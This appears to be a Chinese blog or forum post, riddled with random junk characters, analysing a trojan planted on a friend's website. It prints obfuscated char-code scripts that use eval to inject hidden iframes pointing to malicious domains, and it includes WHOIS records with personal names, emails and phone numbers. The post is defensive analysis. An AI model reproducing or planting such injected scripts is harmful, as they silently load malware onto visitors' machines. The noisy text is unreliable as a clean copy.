[原创]一篇刚写的分析木马手记

首发在我的博客里面， t26ij`V  
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http://www.areway.cn/?p=175 CLK^gZ
 
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周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码： 6 =gp:I  
          Hg(5S,O2  
<script>t=’60,105,102,114,97,109,101, y\[r(4h  
32,115,114,99,61,104,116,116,112,58,47,47, JO1 ,TtA  
102,114,101,101,46,117,45,117,117,117,46,99, |:2c$zq  
110,47,101,114,114,111,114,46,104,116,109, mm,lhIh  
32,119,105,100,116,104,61,49,48,48,32,104, ULl_\5s2  
101,105,103,104,116,61,48,62,60,47,105,102, y1C/v:;  
114,97,109,101,62′; Lq04T0  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> F6dr  
                                                                                                  gdi`x|0  
<script>t=’60,105,102,114,97,109,101,32,115, yQ[u3tI  
114,99,61,104,116,116,112,58,47,47,102,114, w0Ij'=:  
101,101,46,117,45,117,117,117,46,99,110,47, _D-Riu>#J  
101,114,114,111,114,46,104,116,109,32,119, m6U8)!)T  
105,100,116,104,61,49,48,48,32,104,101,105, s~$zWx@v  
103,104,116,61,48,62,60,47,105,102,114,97, E`xU m9F  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); r_2btpL^  
document.write(t);</script> wkikD  
                                                                                                  +,_c/(P  
<html xmlns=” B8~=RmWLl  
http://www.w3.org/1999/xhtml POGw`:)A  
“> M#M?1(O/NE  
<head> fIyPFqf7w)  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> ~@fR[sg<  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> d=F-L  
<title>首页 - 爱生活家庭网 `K?1L{p'4  
                                                                                                                                                    GZ3/S|SMP  
上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。 CW0UMPE5  
转换字符串后的大概内容是（谁点击后果自付）： :s*>W$Wp4  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… _4R,Ej}  
                                                                                                                                  {L9yhY
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查询玉米u-uuu.cn的详细信息： j>!sN`dBj  
Domain Name: u-uuu.cn OoaY  
ROID: 20070901s10001s64972306-cn v~5<:0dL  
Domain Status: ok `P.CNYR<J  
Registrant Organization: 王雷 K^H>~`C=  
Registrant Name: 王雷 Z[} $n-V  
Administrative Email: czlovexs@126.com oVkr3KZ  
Sponsoring Registrar: 北京万网志成科技有限公司 p>p'.#M  
Name Server:ns.yovole.com 4VFc|g  
Name Server:ns1.yovole.com OCW+?B;  
Registration Date: 2007-09-01 17:54 Qp!J:YV  
Expiration Date: 2008-09-01 17:54 o}~3JBnT  
最后PING了一下地址 都没有什么…. M 9"-WIG@h  
                                                                                                @ER1zKK?  
上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套. %dmfBf Ev  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> Uu5C%9^s  
<script language=”javascript” src=” pULsGb  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script Ae3,^  
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这个玉米应该有可能是木马作者的： 8^X]z|2  
foafau.info的详细信息： },PBqWe  
Access to INFO WHOIS information is provided to assist persons in UC|JAZL  
determining the contents of a domain name registration record in the hTTfJDF  
Afilias registry database. The data in this record is provided by G(\Ckf:  
Afilias Limited for informational purposes only, and Afilias does not RgGA$HN/  
guarantee its accuracy.  This service is intended only for query-based p >aw  
access. You agree that you will use this data only for lawful purposes 8]C1K Zs  
and that, under no circumstances will you use this data to: (a) allow, 7) 0q--B  
enable, or otherwise support the transmission by e-mail, telephone, or 2U%qCfh6|  
facsimile of mass unsolicited, commercial advertising or solicitations }n95< {  
to entities other than the data recipient’s own existing customers; or [TCRB`nTQF  
(b) enable high volume, automated, electronic processes that send Wz{%"o  
queries or data to the systems of Registry Operator, a Registrar, or !K\it
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Afilias except as reasonably necessary to register domain names or 8c).8RLf  
modify existing registrations. All rights reserved. Afilias reserves mP!N<K  
the right to modify these terms at any time. By submitting this query, ) `I=oB  
you agree to abide by this policy. *Sb2w*c>  
Domain ID:D22418703-LRMS fuyl/bx}  
Domain Name:FOAFAU.INFO 
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Created On:20-Nov-2007 16:05:42 UTC qLRE}$P  
Last Updated On:20-Nov-2007 16:05:44 UTC HRHrSf7  
Expiration Date:20-Nov-2008 16:05:42 UTC D rTM$)  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) c[{UI  
Status:CLIENT DELETE PROHIBITED a: IwA9!L  
Status:CLIENT RENEW PROHIBITED ,n5a])Dg  
Status:CLIENT TRANSFER PROHIBITED gj;@?o0  
Status:CLIENT UPDATE PROHIBITED wOcg4HlW  
Status:TRANSFER PROHIBITED )E`+BH  
Registrant ID:GODA-040110615 ':sT
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Registrant Name:liu hong P)IjL&[  
Registrant Organization: b~as64  
Registrant Street1:beijing ;[~^(. f  
Registrant Street2: 'w6hW7"L  
Registrant Street3: UE7'B?  
Registrant City:beijing w `!LFHK  
Registrant State/Province: ysVi3eq  
Registrant Postal Code:100000 w_H2gaQ  
Registrant Country:CN 3{pk5_c  
Registrant Phone:+86.860108888777 >0V0i%inmF  
Registrant Phone Ext.: 0n5!B..m}  
Registrant FAX: ^0Q'./A{&  
Registrant FAX Ext.: \G3!TwC%  
Registrant Email:bbbshiji@163.com [B,p,Q"  
Admin ID:GODA-240110615 2 `&<bt[g  
Admin Name:liu hong G>0)I  
Admin Organization: f".q9{+p,  
Admin Street1:beijing ue9h   
Admin Street2: yoW> BX  
Admin Street3: -<
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Admin City:beijing ?cxr%`E  
Admin State/Province: 7@~QkTH~y  
Admin Postal Code:100000 Y^3)!>  
Admin Country:CN LP?P=c
 
Admin Phone:+86.860108888777 _H2tZ%RM  
Admin Phone Ext.: ~
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Admin FAX: e>!E=J)j  
Admin FAX Ext.: -lnevrl   
Admin Email:bbbshiji@163.com `WlH*p)z9  
Billing ID:GODA-340110615 xp=Zd\5W$  
Billing Name:liu hong -3]|[  
Billing Organization: 9m~t j_
  
Billing Street1:beijing w&C1=v -h  
Billing Street2: m9Il\PoTq  
Billing Street3: Y"oDFo,  
Billing City:beijing sW'6}^Q  
Billing State/Province: -%=RFgU4  
Billing Postal Code:100000 f?5A"-NS  
Billing Country:CN TZBVU&,{Z  
Billing Phone:+86.860108888777 0V7 _n  
Billing Phone Ext.: YM8rJ-  
Billing FAX: p}BGw:=  
Billing FAX Ext.: -xTKdm D  
Billing Email:bbbshiji@163.com R9r)C{63S&  
Tech ID:GODA-140110615
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Tech Name:liu hong m:"+J  
Tech Organization: dFMAh&:>  
Tech Street1:beijing |Q6h/"2  
Tech Street2: OF-WUa4t  
Tech Street3: _T a}B4;  
Tech City:beijing _eh3qs:  
Tech State/Province: l_b_-p  
Tech Postal Code:100000 L?Tu)<Mn  
Tech Country:CN kz_M;h>  
Tech Phone:+86.860108888777 kkL(;H:%  
Tech Phone Ext.: F~'sT}A*  
Tech FAX: l{QC}{Ejc2  
Tech FAX Ext.: !^-OfqIHfV  
Tech Email:bbbshiji@163.com ]f5c\\)  
Name Server:NS27.DOMAINCONTROL.COM Z:TFOnJ  
Name Server:NS28.DOMAINCONTROL.COM S[^nSF  
Name Server: zQt1;bo  
Name Server: 4`6< {  
Name Server: ExqM1&zpK  
Name Server: dXDXRY.FMQ  
Name Server: D=JlA~tS>  
Name Server: k|5k8CRX  
Name Server: +8eVj#N  
Name Server: py.!%vIOQ  
Name Server: iAgOnk[  
Name Server: cPSti  
Name Server: pSXEJ 2k  
                                                                                                          ?F25D2[(  
接着下载每个文件里面的代码： eN4t1$  
一步一步看.. -zR.'x%  
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都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试

看过了就是没看懂。。。

要是有全部 就好了 传上来